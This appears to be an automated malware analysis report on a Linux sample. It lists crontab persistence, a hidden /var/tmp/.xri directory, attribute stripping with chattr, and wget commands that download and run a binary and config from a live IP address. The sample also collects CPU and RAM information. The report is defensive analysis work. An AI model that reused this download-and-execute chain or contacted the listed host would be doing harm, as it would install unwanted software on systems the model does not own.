Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/crontab
Malicious functions:
Launches processes:
- /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
- <SAMPLE_FULL_PATH>
- /bin/bash <SAMPLE_FULL_PATH> -c
- pgrep xri
- ls -l /var/tmp/.xri/xri
- awk {print $5}
- mkdir /var/tmp/.xri
- chattr -ia /var/tmp/.xri/xri
- chattr -ia /var/tmp/.xri/config.json
- rm -rf /var/tmp/.xri/xri
- rm -rf /var/tmp/.xri/config.json
- wget http://141.95.19.91:8080/xri/xri --no-check-certificate
- wget http://141.95.19.91:8080/xri/config.json --no-check-certificate
- chmod +x /var/tmp/.xri/xri
- grep secure
- cat /etc/crontab
- sleep 1
- /var/tmp/.xri/xri
Performs operations with the file system:
Creates folders:
- /var/tmp/.xri
Deletes files:
- /var/tmp/.xri/xri
- /var/tmp/.xri/config.json
Network activity:
Establishes connection:
- 14#.##.19.91:8080
Other:
Collects CPU information
Collects RAM information